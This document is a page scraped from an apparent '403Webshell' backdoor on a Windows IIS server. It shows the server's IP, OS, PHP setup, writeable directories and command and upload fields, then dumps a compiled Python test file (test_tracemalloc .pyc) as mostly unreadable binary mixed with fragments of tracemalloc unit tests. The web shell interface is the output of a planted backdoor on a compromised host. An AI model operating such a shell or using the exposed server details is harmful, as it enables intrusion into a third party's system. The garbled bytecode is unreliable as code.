403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_tracemalloc.cpython-313.pyc
�

��i����h�SSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSKJ	r	J
r
Jr SSKJ
r
 SSKJr SSKJr SSKJr SSKrSSKrSr\R,"S5rS	rS
rSrSrS
rSrSrSr"SS\R@5r!"SS\R@5r""SS\R@5r#"SS\R@5r$"SS\R@5r%\RL"\SLS5"SS\R@55r'\(S:Xa\RR"5 gg!\a SrSrN�f=f)�N)�patch)�assert_python_ok�assert_python_failure� interpreter_requires_environment)�support)�force_not_colorized)�	os_helper)�threading_helper�)���i@c��/n[R"S5n[U5HNnURnURU-nURURU45 SnURnUbMN O [U5$)N�r)	�sys�	_getframe�range�f_code�f_lineno�append�co_filename�f_back�tuple)�nframe�lineno_delta�frames�frame�index�code�linenos       �*C:\Python313\\Lib\test\test_tracemalloc.py�
get_framesr ss��
�F��M�M�!��E��v����|�|�����,�.���
�
�t�'�'��0�1��������=�����=�rc	��[R"5nU[-
n[US5nSU-nU[R"U[[
U5U554$)Nr�x)�tracemalloc�get_traceback_limit�EMPTY_STRING_SIZEr �	Traceback�min�len)�sizer�	bytes_lenr�datas     r�allocate_bytesr,)sT��
�
,�
,�
.�F��)�)�I�
���
"�F��)��D���&�&�v�s�3�v�;��/G�H�H�Hrc�t�Sn/SQn[R"X5n/SQn[R"X05nX$4$)N�)�r�
)��a.pyr.��b.py��r/r/�rr.��r2�r3r6�r.�B)�r4rr�r6����	<unknown>rr)r/r/r/)r.r.r8r6)r.�r8r6)r5�)��c.py�Br)r#�Snapshot)�traceback_limit�
raw_traces�snapshot�raw_traces2�	snapshot2s     r�create_snapshotsrN0sB���O�

�J��#�#�J�@�H�	�K��$�$�[�B�I�� � rc�0�[R"X45$�N)r#�_Frame��filenamers  rrrQs�����x�0�1�1rc�.�[R"U5$rP)r#r&)rs r�	tracebackrUTs��� � ��(�(rc��[X45$rP)rUrRs  r�traceback_linenorWWs���h�'�(�(rc��[US5$�Nr)rW)rSs r�traceback_filenamerZZs���H�a�(�(rc��\rSrSrSrSrg)�
TestTraceback�^c��S[4SjnURU"S5S5 URU"SS5S5 SnSnURU"U5S	US
35 URU"US5S	US35 g)
N�returnc�:�[[R"U65$rP)�reprr#r&)�argss r�get_repr�)TestTraceback.test_repr.<locals>.get_repr`s����-�-�t�4�5�5r�z<Traceback ()>rz<Traceback () total_nframe=0>))�f1r)�f2r.z@(<Frame filename='f2' lineno=2>, <Frame filename='f1' lineno=1>)z<Traceback �>r.z total_nframe=2>)�str�assertEqual)�selfrcr�exp_repr_framess    r�	test_repr�TestTraceback.test_repr_s���	6�s�	6�	
����"��'7�8�����"�a��*I�J�'��
/�	�	
����&�)�&��&7�q�9�	;�����&�!�,�&��&7�7G�H�	JrreN)�__name__�
__module__�__qualname__�__firstlineno__rm�__static_attributes__rerrr\r\^s��Jrr\c��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSr\R*"5S5rSrSrg)�TestTracemallocEnabled�qc��[R"5(aURS5 [R"S5 g)N�+tracemalloc must be stopped before the testr)r#�
is_tracing�skipTest�start�rks r�setUp�TestTracemallocEnabled.setUprs,���!�!�#�#��M�M�G�H����!�rc�.�[R"5 grP�r#�stopr|s r�tearDown�TestTracemallocEnabled.tearDownx������rc�>�[S5Vs/sHn[S5PM nn[R"5nUR	US5 [R
"5 [R"5nUR	US5 UR
XC5 gs snf)N���{r)rr,r#�get_tracemalloc_memory�assertGreaterEqual�clear_traces�assertLessEqual)rk�countr+r)�size2s     r�test_get_tracemalloc_memory�2TestTracemallocEnabled.test_get_tracemalloc_memory{sz��16�t��=����s�#���=��1�1�3������a�(�� � �"��2�2�4������q�)����U�)��>s�Bc��[R"5 Sn[U5up#[R"U5nUR	XC5 g�N�90)r#r�r,�get_object_tracebackrj�rk�obj_size�obj�
obj_tracebackrUs     r�test_get_object_traceback�0TestTracemallocEnabled.test_get_object_traceback�s>��� � �"���+�H�5����4�4�S�9�	�����2rc�j�[R"5 [R"5 /nSn/n[R"5n[US5n[R"U[[U5U55n[R"U5nURU5 URXT5 g)N���)r#r�r�
gc_collectr$r r&r'r(r��assertIsNotNonerj)rkr�rrr�rUs      r�test_new_reference�)TestTracemallocEnabled.test_new_reference�s���� � �"������������0�0�2���F�B�'��#�-�-�f�c�#�f�+�v�6N�O�
��4�4�S�9�	����Y�'�����2rc�d�Sn[R"5 UR[[RS5 [R"5 [R"S5 [U5up#[R"U5nUR[U5S5 URXC5 [R"5 [R"S5 [U5upV[R"U5nUR[U5S5 URXF5 g)Nr0rr)	r#r��assertRaises�
ValueErrorr{r,r�rjr()rkr��obj2�obj2_tracebackrUr�r�s       r�test_set_traceback_limit�/TestTracemallocEnabled.test_set_traceback_limit�s������������*�k�&7�&7��<��������"��-�h�7����4�4�T�:�	�����Y���,�����3��������!��+�H�5����4�4�S�9�	�����Y���+�����2rc�|�UH%nUSUR:XdMUSU:XdM#Us $ URS5 g)Nr.rztrace not found)�_frames�fail)rk�tracesrUr)�traces     r�
find_trace�!TestTracemallocEnabled.find_trace�s?���E��Q�x�9�,�,�,��q��T�1A����	
�	�	�#�$rc�z�[R"5 Sn[U5up#[R"5nUR	XCU5nURU[5 Uupgp�URX�R5 [R"5 UR[R"5/5 gr�)
r#r�r,�_get_tracesr��assertIsInstancerrjr�r�)
rkr�r�r�r�r��domainr)rU�lengths
          r�test_get_traces�&TestTracemallocEnabled.test_get_traces�s���� � �"���+�H�5����(�(�*������x�@�����e�U�+�*/�'��i�����$9�$9�:���������0�0�2�B�7rc��^^�SmU4SjmU4Sjn[R"5 [R"S5 SnSnU"U5upEU"U5upg[R"5n[	[UR55Ul[	[UR55UlURX�U5n	URX�U5n
U	up�p�U
unnnnURUU
5 g)Nc��[U5$rP)r,�r)s r�allocate_bytes2�PTestTracemallocEnabled.test_get_traces_intern_traceback.<locals>.allocate_bytes2�s
��!�$�'�'rc�>�T"U5$rPre)r)r�s �r�allocate_bytes3�PTestTracemallocEnabled.test_get_traces_intern_traceback.<locals>.allocate_bytes3�����"�4�(�(rc�>�T"U5$rPre)r)r�s �r�allocate_bytes4�PTestTracemallocEnabled.test_get_traces_intern_traceback.<locals>.allocate_bytes4�r�rr5r��})	r#r�r{r�r�reversedr�r��assertIs)rkr��	obj1_size�	obj2_size�obj1�obj1_tracebackr�r�r��trace1�trace2�domain1�size1�
traceback1�length1�domain2r��
traceback2�length2r�r�s                   @@r� test_get_traces_intern_traceback�7TestTracemallocEnabled.test_get_traces_intern_traceback�s����	(�	)�	)�	�������!���	��	�.�y�9���.�y�9����(�(�*��!&�x��0F�0F�'G�!H���!&�x��0F�0F�'G�!H��������C�������C��.4�+��
�.4�+���
�G��
�
�j�*�-rc��SnSn[R"5 [U5up4[R"5upVUR	XR5 UR	Xe5 URXR-
U5 URXe-
U5 Sn[R"5upxUR
Xu5 UR	XW-
X!-
5 UR	X�5 [R"5 UR[R"5S5 [U5up4[R"5upVUR	XR5 [R"5 UR[R"5S5 g)N��)rr)	r#r�r,�get_traced_memoryr�r��
assertLessrjr�)	rk�	max_errorr�r�r�r)�	peak_sizer��
peak_size2s	         r�test_get_traced_memory�-TestTracemallocEnabled.test_get_traced_memory�s<���	���� � �"�+�H�5���%�7�7�9�������/����	�0����T�_�i�8����Y�-�y�9���'�9�9�;�������$������h�.B�C����
�6�	� � �"�����6�6�8�&�A�,�H�5���%�7�7�9�������/�	��������6�6�8�&�Arc���[S5up[R"U5nURU5 [R"5 [R"U5nURU5 g)Nr�)r,r#r�r�r��assertIsNone)rkr�r�rUr�s     r�test_clear_traces�(TestTracemallocEnabled.test_clear_tracessW��+�C�0����4�4�S�9�	����Y�'�� � �"� �5�5�c�:�
����*�%rc���[R"5 [[[	S555n[R
"5up#[R"5 [R
"5upEURXT5 URXS5 Sn[U5upx[R
"5up�URX�5 URX�5 URX�-
U5 g)Ni��r�)r#r��sum�listrr��
reset_peakr�r�r,�
assertGreater)rk�	large_sumr��peak1r��peak2r�r�r��size3�peak3s           r�test_reset_peak�&TestTracemallocEnabled.test_reset_peaks���	� � �"���U�6�]�+�,�	�"�4�4�6���	��� �"�4�4�6�������-�����%���+�H�5���"�4�4�6�������-����5�(�����
�x�8rc���[R"5 UR[R"55 [R"5 UR[R"55 grP)r#r��assertFalseryr{�
assertTruer|s r�test_is_tracing�&TestTracemallocEnabled.test_is_tracing-sF����������/�/�1�2���������.�.�0�1rc���[S5up[R"5nURURSR
RS5 UR[R5 UR[R[R5 [RR[R5nURURUR5 [R"5 UR!["5n[R"5 SSS5 UR[%WR&5S5 g!,(df   N4=f)Nr�rr0zLthe tracemalloc module must be tracing memory allocations to take a snapshot)r,r#�
take_snapshotr�r�rU�total_nframe�dumpr	�TESTFN�
addCleanup�unlinkrH�loadrjr�r��RuntimeErrorri�	exception)rkr��sourcerKrM�cms      r�
test_snapshot�$TestTracemallocEnabled.test_snapshot4s��$�S�)����,�,�.��	
���8�?�?�1�-�7�7�D�D�b�I�	�
�
�i�&�&�'����	�(�(�)�*:�*:�;� �(�(�-�-�i�.>�.>�?�	�����)�)�8�?�?�;�	����
�
�
�|�
,���%�%�'�-�����R�\�\�*�:�	;�-�
,�s� E$�$
E2c�h�[R"5nSUlUR[R
5 UR
[R[R
5 [RR[R
5nURURS5 g)N�new)r#r��	test_attrr�r	r�r�r�rHr�rj)rkrKrMs   r�test_snapshot_save_attr�.TestTracemallocEnabled.test_snapshot_save_attrMsx���,�,�.��"����
�
�i�&�&�'����	�(�(�)�*:�*:�;� �(�(�-�-�i�.>�.>�?�	�����,�,�e�4rc��[R"5(dgSn[U5up#[R"U5nUcgg)Nr.r�r6r)r#ryr,r�r�s     r�
fork_child�!TestTracemallocEnabled.fork_childXsD���%�%�'�'����+�H�5����4�4�S�9�	����rc���[R"5nU(d*SnUR5n[R"U5 g[R
"USS9 g![R"U5 f=f)Nrr)�exitcode)�os�forkr�_exitr�wait_process)rk�pidr	s   r�	test_fork� TestTracemallocEnabled.test_forkesT���g�g�i����H�
#��?�?�,������"�� � ��q�1������"�s�A�A5c�2�[R"5 [R"S5 SnU"S5RSn[R"U5nURSUSR5 URSUSR5 g)N�c�^�U4SjnU$)Nc�>�T$rPre)�xs�r�g�FTestTracemallocEnabled.test_no_incomplete_frames.<locals>.f.<locals>.gxs����rre)rrs` r�f�;TestTracemallocEnabled.test_no_incomplete_frames.<locals>.fws
���
��Hrr�test_tracemallocr���)r#r�r{�__closure__r��assertInrS�assertNotIn)rkrr�rUs    r�test_no_incomplete_frames�0TestTracemallocEnabled.test_no_incomplete_framesss{���������!��	�
��d���q�!���4�4�S�9�	��
�
�(�)�B�-�*@�*@�A����+�Y�r�]�-C�-C�DrreN)rorprqrrr}r�r�r�r�r�r�r�r�r�r�r�r�r�rrr�
requires_forkrrrsrerrruruqsw����*�3�3�(3�(%�
8�.�8"B�H&�9�02�;�2	5��
����2��2�Erruc�f�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrg)�TestSnapshoti�i�c	��S/n[R"5nUR[R"[
SSS95 UR[R"[
SSS95 UR[R"[
SUS95 [
R"5nURURS5 UR[UR5S5 URS	nURURS5 URURRS
5 UR[UR5S5 URURS	RS5 URURS	RS5 SSS5 g!,(df   g=f)
N)rr:)r1r0ryT)�return_valuer$r:r�rrr0r2r.)�
contextlib�	ExitStack�
enter_contextr�objectr#r�rjrIr(r�r)rUr�rSr)rkrJ�stackrKr�s     r�test_create_snapshot�!TestSnapshot.test_create_snapshot�s[��0�1�
�
�
!�
!�
#�u�������[�,�:>�!@�
A�������[�:O�:;�!=�
>�������[�-�:D�!F�
G�#�0�0�2�H����X�5�5�q�9����S����1�1�5��O�O�A�&�E����U�Z�Z��+����U�_�_�9�9�2�>����S����1�1�5����U�_�_�Q�/�8�8�&�A����U�_�_�Q�/�6�6��:�!$�
#�
#�s�FF<�<
G
c�:�[5up[R"SS5n[R"SSS5n[R"SSS5n[URR
5nUR
U45nURURR
/SQ5 URURR
U5 UR
XE45nURURR
/SQ5 UR
S	5n	URX�5 URU	RUR5 URU	RUR5 UR[URU5 g)
NFr4Tr2r.r:)r/r/r/r7r>)r/r/r/r7re)rNr#�Filterr�r��_traces�
filter_tracesrj�assertIsNotr��	TypeError)
rkrKrM�filter1�filter2�filter3�original_traces�	snapshot3�	snapshot4�	snapshot5s
          r�test_filter_traces�TestSnapshot.test_filter_traces�sN��.�0����$�$�U�F�3���$�$�T�6�1�5���$�$�T�6�1�5���x���6�6�7���*�*�G�:�6�	�����)�)�1�1�4
�	�	
������0�0�/�B��+�+�W�,>�?�	�����)�)�1�1�4
�	��*�*�2�.�	�����-�����)�)�8�?�?�;�����)�)�8�?�?�;����)�X�%;�%;�W�Erc��[5up[R"SSSS9n[R"SSSS9n[URR
5nUR
U45nURURR
/SQ5 UR
U45nURURR
/SQ5 g)NFr2r�r�T)r/r/r/r;r>)rNr#r.r�r�r/r0rj)rkrKrMr3r4r6r7s       r�test_filter_traces_domain�&TestSnapshot.test_filter_traces_domain�s���.�0����$�$�U�F�1�=���$�$�T�6�!�<���x���6�6�7���*�*�G�:�6�	�����)�)�1�1�4
�	��*�*�G�:�6�	�����)�)�1�1�4
�	rc�V�[5up[R"SSS9n[R"SSS9nURU45nUR	UR
R/SQ5 URU45nUR	UR
RS/5 g)NFr6r=T)r/r/r/r7r;r>)rNr#�DomainFilterr0rjr�r/)rkrKrMr3r4r7s      r� test_filter_traces_domain_filter�-TestSnapshot.test_filter_traces_domain_filter�s���.�0����*�*�5��;���*�*�4��:���*�*�G�:�6�	�����)�)�1�1�4
�	��*�*�G�:�6�	�����)�)�1�1�*�4
�	rc��[5up[SS5n[SS5n[SS5n[SS5n[SS	5nURS
5nURU[R
"USS5[R
"USS
5[R
"USS5[R
"USS5/5 URS
5n	URU	[R
"USS5[R
"USS5[R
"USS
5/5 UR
US
5n
URU
[R"USSSS5[R"USSSS5[R"USSSS5[R"USSSS5[R"USSS
S5/5 g)NrBrr2r.r:r4rrFrGrr<�r6r?�rDrC���r���)rNrW�
statisticsrjr#�	Statistic�
compare_to�
StatisticDiff)rkrKrM�tb_0�tb_a_2�tb_a_5�tb_b_1�tb_c_578�stats1�stats2rIs           r�test_snapshot_group_by_line�(TestSnapshot.test_snapshot_group_by_line�s���.�0�����Q�/��!�&�!�,��!�&�!�,��!�&�!�,��#�F�C�0���$�$�X�.�������!�!�&�"�a�0��!�!�&�"�a�0��!�!�$��1�-��!�!�&�!�Q�/�	"
�	��%�%�h�/�������!�!�&�$��2��!�!�(�C��3��!�!�&�"�a�0�"
�	��)�)�(�H�=�
������%�%�f�d�D�!�Q�?��%�%�h��S�!�Q�?��%�%�f�a��a��<��%�%�d�A�r�1�b�9��%�%�f�b�!�Q��:�&
�	rc
��[5up[S5n[S5n[S5n[S5nURS5nURU[R
"USS5[R
"USS	5[R
"US
S5/5 URS5nURU[R
"USS5[R
"US
S5/5 UR
US5n	URU	[R"USSSS5[R"US
S
SS5[R"USSSS5[R"USSSS5/5 g)NrBr2r4rFrSr<r� r5r?i�r:rDrCrrGrrH)rNrZrIrjr#rJrKrL)
rkrKrMrM�tb_a�tb_b�tb_crRrS�diffs
          r�test_snapshot_group_by_file�(TestSnapshot.test_snapshot_group_by_files^��.�0���!�+�.��!�&�)��!�&�)��!�&�)���$�$�Z�0�������!�!�$��A�.��!�!�$��A�.��!�!�$��1�-�"
�	��%�%�j�1�������!�!�$��a�0��!�!�$��Q�/�"
�	��#�#�H�j�9�������%�%�d�D�$��1�=��%�%�d�C��a��;��%�%�d�A�s�A�r�:��%�%�d�A�r�1�b�9�	 
�	rc���[5up[SS5n[SS5n[S5n[S5nURS5nURU[R
"USS5[R
"US	S
5[R
"USS5[R
"USS5/5 [S
5nURS5n	URU	[R
"USS5[R
"USS5[R
"US	S
5/5 UR
US5n
URU
[R"USSSS5[R"USSSS5[R"USSSS5[R"USSSS5[R"US	SS
S5/5 UR[URSSS9 g)Nr1r3r9r=rArUr<rrEr6r?r.rErFrDrCrrGrrHT)�
cumulative)
rNrUrIrjr#rJrKrLr�r�)rkrKrM�tb1�tb2�tb3�tb4rR�tb5rSr[s           r� test_snapshot_group_by_traceback�-TestSnapshot.test_snapshot_group_by_traceback2s���.�0�����[�1����[�1����$���(�)���$�$�[�1�������!�!�#�r�1�-��!�!�#�r�1�-��!�!�#�q�!�,��!�!�#�q�!�,�	"
�	��
�&���%�%�k�2�������!�!�#�t�Q�/��!�!�#�s�A�.��!�!�#�r�1�-�"
�	��#�#�H�k�:�������%�%�c�4��q�!�<��%�%�c�3��Q��:��%�%�c�1�c�1�b�9��%�%�c�1�b�!�R�8��%�%�c�2�q�!�Q�7� 
�	�	
���*�"�-�-�{�t�	�	Mrc��[5up[S5n[S5n[S5n[SS5n[SS5n[SS5n[SS5n	URSS	5n
UR	U
[
R"US
S5[
R"USS5[
R"USS5/5 URS
S	5n
UR	U
[
R"USS5[
R"U	SS5[
R"USS5[
R"USS5[
R"USS5/5 g)NrBr2r4r.r:rr5rST�brWr?rr<rEr6)rNrZrWrIrjr#rJ)rkrKrMrMrXrYrNrOrP�tb_b_4�statss           r�!test_snapshot_group_by_cumulative�.TestSnapshot.test_snapshot_group_by_cumulativeXs=��.�0���!�+�.��!�&�)��!�&�)��!�&�!�,��!�&�!�,��!�&�!�,��!�&�!�,���#�#�J��5�������!�!�$��A�.��!�!�$��A�.��!�!�$��1�-�!
�	��#�#�H�d�3�������!�!�&�"�a�0��!�!�&�"�a�0��!�!�&�"�a�0��!�!�$��1�-��!�!�&�!�Q�/�!
�	rc��[5upURSnUR[U5S5 URnUR[U5S5 USnUR[U5S5 g)Nrzb.py:4: 10 Bzb.py:4)rNr�rjrirU)rkrKrMr�rUrs      r�test_trace_format�TestSnapshot.test_trace_formattsi��.�0�������"������U��^�4��O�O�	�����Y���2��!�������U��X�.rc�~�[5upURS5nUSnUR[U5S5 g)Nrrz(b.py:1: size=66 B, count=1, average=66 B)rNrIrjri�rkrKrMrj�stats     r�test_statistic_format�"TestSnapshot.test_statistic_format}s>��.�0����#�#�H�-���Q�x������T��C�	Erc��[5upURUS5nUSnUR[U5S5 g)Nrrz;a.py:5: size=5002 B (+5000 B), count=2 (+1), average=2501 B)rNrKrjrirqs     r�test_statistic_diff_format�'TestSnapshot.test_statistic_diff_format�s@��.�0����$�$�X�x�8���Q�x������T��V�	Xrc��[5upURURSSURSURS45 URSRnURUSSUSUS45 g)Nr.rr)rNrjr�rU)rkrKrMrUs    r�test_slices�TestSnapshot.test_slices�s��.�0����������!�,�"�/�/�!�,�h�o�o�a�.@�A�	C��O�O�A�&�0�0�	�����2�A��#�A�,�	�!��5�	7rc�V�[5upSn[RRSUS9 URSR
nUR
UR5/SQ5 UR
URSS9SS	/5 UR
URS
S9SS/5 UR
URS
S9/SQ5 UR
URSS
S9SS	/5 UR
URS
S
S9SS/5 SSS5 g!,(df   g=f)Nc��SU<SU<S3$)Nz  <z, rhrerRs  r�getline�3TestSnapshot.test_format_traceback.<locals>.getline�s
��#+�V�4�4rztracemalloc.linecache.getline)�side_effectr)�  File "b.py", line 4�
    <b.py, 4>�  File "a.py", line 2�
    <a.py, 2>r)�limitr�r�rr�r�T)�most_recent_first)r�r�r�r�)r�r�)rN�unittest�mockrr�rUrj�format)rkrKrMr}�tbs     r�test_format_traceback�"TestSnapshot.test_format_traceback�s4��.�0���	5�
�]�]�
 �
 �!@�-4�!�6�����#�-�-�B����R�Y�Y�[�/�
0�
���R�Y�Y�Q�Y�/�5�-�/�
0�
���R�Y�Y�R�Y�0�5�-�/�
0�
���R�Y�Y��Y�>�/�
0�
���R�Y�Y�Q�$�Y�G�5�-�/�
0�
���R�Y�Y�R�4�Y�H�5�-�/�
0�76�6�6�s�C#D�
D(reN)rorprqrr�maxDiffr+r:r>rBrTr\rerkrnrsrvryr�rsrerrr#r#�sO���G�;�*$F�L�6�*!�F�>$M�L�8/�E�X�7�!0rr#c�6�\rSrSrSrSrSrSrSrSr	Sr
g	)
�TestFiltersi�r�c�j�[R"SS5nURURS5 URURS5 URUR5 URURS5 [R"SSSS5nURURS5 URURS5 URURS5 URURS5 [R"SSSSS9nURURS5 URURS5 URURS5 URURS5 UR[[USS5 g)NT�abcFztest.pyr�)�	inclusive�filename_patternr�
all_framesr�)r#r.rjr�r�r�rr�r��AttributeError�setattr�rkrs  r�test_filter_attributes�"TestFilters.test_filter_attributes�sS�����t�U�+��������d�+�����+�+�U�3����!�(�(�#�������u�-�
���u�i��d�;��������e�,�����+�+�Y�7�������3�'�������t�,�
�����SV�cg�h��������e�,�����+�+�Y�7�������3�'�������t�,�	
���.�'�1�6H�%�Prc�h
�[R"SS5nURURSS55 URURSS55 URURSS55 UR	URSS55 UR	URSS55 UR	URSS55 [R"SS5nUR	URSS55 UR	URSS55 UR	URSS55 URURSS55 URURSS55 URURSS55 [R"SSS5nUR	URSS55 URURSS55 UR	URSS55 UR	URSS55 UR	URSS55 UR	URSS55 [R"SSS5nURURSS55 UR	URSS55 URURSS55 URURSS55 URURSS55 URURSS55 [R"SSS5nURURSS55 UR	URSS55 UR	URSS55 UR	URSS55 UR	URSS55 UR	URSS55 [R"SSS5nUR	URSS55 URURSS55 URURSS55 URURSS55 URURSS55 URURSS55 g)NTr�rr:r0�12356F)r#r.r��_match_framer�r�s  r�test_filter_match�TestFilters.test_filter_match�s������t�U�+��������u�a�0�1�������u�a�0�1�������u�b�1�2���������3�4���������3�4���������4�5����u�e�,���������q�1�2��������q�1�2��������r�2�3�������w��2�3�������w��2�3�������w��3�4�
���t�U�A�.���������q�1�2�������u�a�0�1��������r�2�3���������3�4���������3�4���������4�5����u�e�Q�/��������u�a�0�1��������q�1�2�������u�b�1�2�������w��2�3�������w��2�3�������w��3�4�
���t�U�A�.��������u�a�0�1��������q�1�2��������r�2�3���������3�4���������3�4���������4�5����u�e�Q�/���������q�1�2�������u�a�0�1�������u�b�1�2�������w��2�3�������w��2�3�������w��3�4rc�6�SnURU"SSS55 URU"SSS55 URU"SSS55 URU"SSS55 URU"SSS55 URU"SSS55 g)Nc�R�[R"X5nURUS5$rY�r#r.r�)r�rS�patternrs    r�fnmatch�7TestFilters.test_filter_match_filename.<locals>.fnmatch	s#���"�"�9�6�A��>�>�(�A�.�.rTr�r�rBF)r�r��rkr�s  r�test_filter_match_filename�&TestFilters.test_filter_match_filenames���	/�	
�����e�U�3�4������w��6�7������{�E�:�;�������u�5�6������w��6�7������{�E�:�;rc�~�SnURU"SS55 URU"SS55 URU"SS55 URU"SS55 URU"SS55 URU"SS55 URU"SS55 URU"SS55 URU"SS55 URU"SS	55 URU"SS
55 URU"SS55 URU"SS
55 URU"SS55 URU"SS
55 URU"SS55 URU"SS55 URU"SS55 URU"SS55 URU"SS55 URU"SS55 [RS:XaaURU"SS55 URU"SS55 URU"SS55 URU"SS55 O`URU"SS55 URU"SS55 URU"SS55 URU"SS55 [RS:XaaURU"SS 55 URU"S S55 URU"S!S"55 URU"S#S$55 O`URU"SS 55 URU"S S55 URU"S!S"55 URU"S#S$55 URU"S%S55 g)&Nc�T�[R"SU5nURUS5$)NTrr�)rSr��filters   rr��=TestFilters.test_filter_match_filename_joker.<locals>.fnmatchs'�� �'�'��g�6�F��&�&�x��3�3rr���*�abcd�defza*zabc*zb*zabcd*za*c�abcdcxza*cx�abb�abcdce�abcdeza*c*e�	abcbdefegza*bd*eg�abcdd�	abcbdefefza.pycr2�nt�aBC�ABc�aBcDezAb*dEza.PYza.PYCza/bza\bza/b\cza\b/cza/b/cza\b\cza.pyo)r�r�r
�namer�s  r� test_filter_match_filename_joker�,TestFilters.test_filter_match_filename_jokers&��	4�
	
������+�,������U�+�,������B��(������C�(�)�	
�����u�-�.�������/�0�������.�/�	
�����t�,�-������v�.�/�������-�.�������0�1�	
�����u�-�.������&�1�2�������.�/������6�2�3�	
������1�2������Y�7�8������'�2�3������i�8�9�	
������0�1�������0�1�
�7�7�d�?��O�O�G�E�5�1�2��O�O�G�G�W�5�6��O�O�G�G�V�4�5��O�O�G�F�G�4�5�
���W�U�E�2�3����W�W�g�6�7����W�W�f�5�6����W�V�W�5�6�
�7�7�d�?��O�O�G�F�F�3�4��O�O�G�F�F�3�4��O�O�G�H�h�7�8��O�O�G�H�h�7�8�
���W�V�V�4�5����W�V�V�4�5����W�X�x�8�9����W�X�x�8�9�	
�����&�1�2rc�H�SnSnSnSn[R"SSSS9nURURU55 URURU55 UR	URU55 UR	URU55 [R"SSSS9nUR	URU55 URURU55 UR	URU55 UR	URU55 [R"SSSS9nUR	URU55 UR	URU55 URURU55 URURU55 [R"SSSS9nURURU55 UR	URU55 URURU55 URURU55 [R"SS	SS9nURURU55 URURU55 URURU55 UR	URU55 [R"SS	SS9nUR	URU55 UR	URU55 URURU55 URURU55 [R"SS	SS9nURURU55 URURU55 UR	URU55 UR	URU55 g)
N)r1)r4r6)r3)r4r:))rFr:rAr@Tr4)r�FrB)r#r.r��_match_tracebackr�)rk�t1�t2�t3�unknownrs      r�test_filter_match_trace�#TestFilters.test_filter_match_traceZs@��
'��
'��
,��%�����t�V��=������*�*�2�.�/�����*�*�2�.�/�����+�+�B�/�0�����+�+�G�4�5����t�V��>������+�+�B�/�0�����*�*�2�.�/�����+�+�B�/�0�����+�+�G�4�5����u�f��>������+�+�B�/�0�����+�+�B�/�0�����*�*�2�.�/�����*�*�7�3�4����u�f��?������*�*�2�.�/�����+�+�B�/�0�����*�*�2�.�/�����*�*�7�3�4����u�k�e�D������*�*�2�.�/�����*�*�2�.�/�����*�*�2�.�/�����+�+�G�4�5����t�[�T�B������+�+�B�/�0�����+�+�B�/�0�����*�*�2�.�/�����*�*�7�3�4����u�k�d�C������*�*�2�.�/�����*�*�2�.�/�����+�+�B�/�0�����+�+�G�4�5rreN)rorprqrrr�r�r�r�r�r�rsrerrr�r��s$���G�Q�225�h<�C3�J.6rr�c���\rSrSrSr\R"\"5S5S5rSr	Sr
Sr\S5r
S	rS
rSr\S5r\R"\S
LS5S5rSrg
)�TestCommandLinei�c�j�Sn[SU5up#nUR5nURUS5 g)N�3import tracemalloc; print(tracemalloc.is_tracing())�-c�False�r�rstriprj�rkr�ok�stdout�stderrs     r� test_env_var_disabled_by_default�0TestCommandLine.test_env_var_disabled_by_default�s3��D��-�d�D�9���F�����������*rz6Cannot run -E tests when PYTHON env vars are required.c�j�Sn[SSUSS9up#nUR5nURUS5 g)zAPYTHON* environment variables must be ignored when -E is present.r�z-Er��1��PYTHONTRACEMALLOCr�Nr�r�s     r�test_env_var_ignored_with_E�+TestCommandLine.test_env_var_ignored_with_E�s;��E��-�d�D�$�RU�V���F�����������*rc�h�Sn[SUSS9up#nUR5nURUS5 g)Nr�r��0r�r�r�r�s     r�test_env_var_disabled�%TestCommandLine.test_env_var_disabled�s5��D��-�d�D�C�P���F�����������*rc�h�Sn[SUSS9up#nUR5nURUS5 g)Nr�r�r�r�sTruer�r�s     r�test_env_var_enabled_at_startup�/TestCommandLine.test_env_var_enabled_at_startup�s5��D��-�d�D�C�P���F�����������)rc�h�Sn[SUSS9up#nUR5nURUS5 g)N�<import tracemalloc; print(tracemalloc.get_traceback_limit())r��10r�s10r�r�s     r�test_env_limit�TestCommandLine.test_env_limit�s5��M��-�d�D�D�Q���F�����������'rc���[R"5 [SS[U5S9up#nSSS5 SW;agSU;agUR	SU<35 g!,(df   N2=f)Nr��passr��1ValueError: the number of frames must be in ranges+PYTHONTRACEMALLOC: invalid number of frames�unexpected output: )r�SuppressCrashReportrrir�)rkrr�r�r�s     r�check_env_var_invalid�%TestCommandLine.check_env_var_invalid�sd��
�
(�
(�
*�!6��f�"%�f�+�"/��B��+�
@�6�I��9�V�C���	�	�'��z�2�3�+�
*�s�A�
A(c��[H,nURUS9 URU5 SSS5 M. g!,(df   M@=f�N�r)�INVALID_NFRAME�subTestr��rkrs  r�test_env_var_invalid�$TestCommandLine.test_env_var_invalid�s7��$�F����V��,��*�*�6�2�-�,�%�,�,��	�8�
A	c��SHjupURXS9 Sn[SUSU5upEnUR5nURU[	U5RS55 SSS5 Ml g!,(df   M~=f)N))r#r)z
tracemalloc=1r)ztracemalloc=15�)�xoptionsrr��-Xr��ascii)r�rr�rjri�encode)rkr�rrr�r�r�s       r�test_sys_xoptions�!TestCommandLine.test_sys_xoptions�sx��!
��H�
���x��?�U��%5�d�H�d�D�%Q�"��F������� � ���V��);�);�G�)D�E�	@�?�!
�
@�?�s�AA2�2
B	c���SSU-SS4n[R"5 [U6up4nSSS5 SW;agSU;agURSU<35 g!,(df   N2=f)Nr�ztracemalloc=%sr�r�r�s/-X tracemalloc=NFRAME: invalid number of framesr�)rr�rr�)rkrrbr�r�r�s      r�check_sys_xoptions_invalid�*TestCommandLine.check_sys_xoptions_invalid�sl���&��/��v�>��
�
(�
(�
*�!6��!=��B��+�@�6�I��=��G���	�	�'��z�2�3�+�
*�s�A�
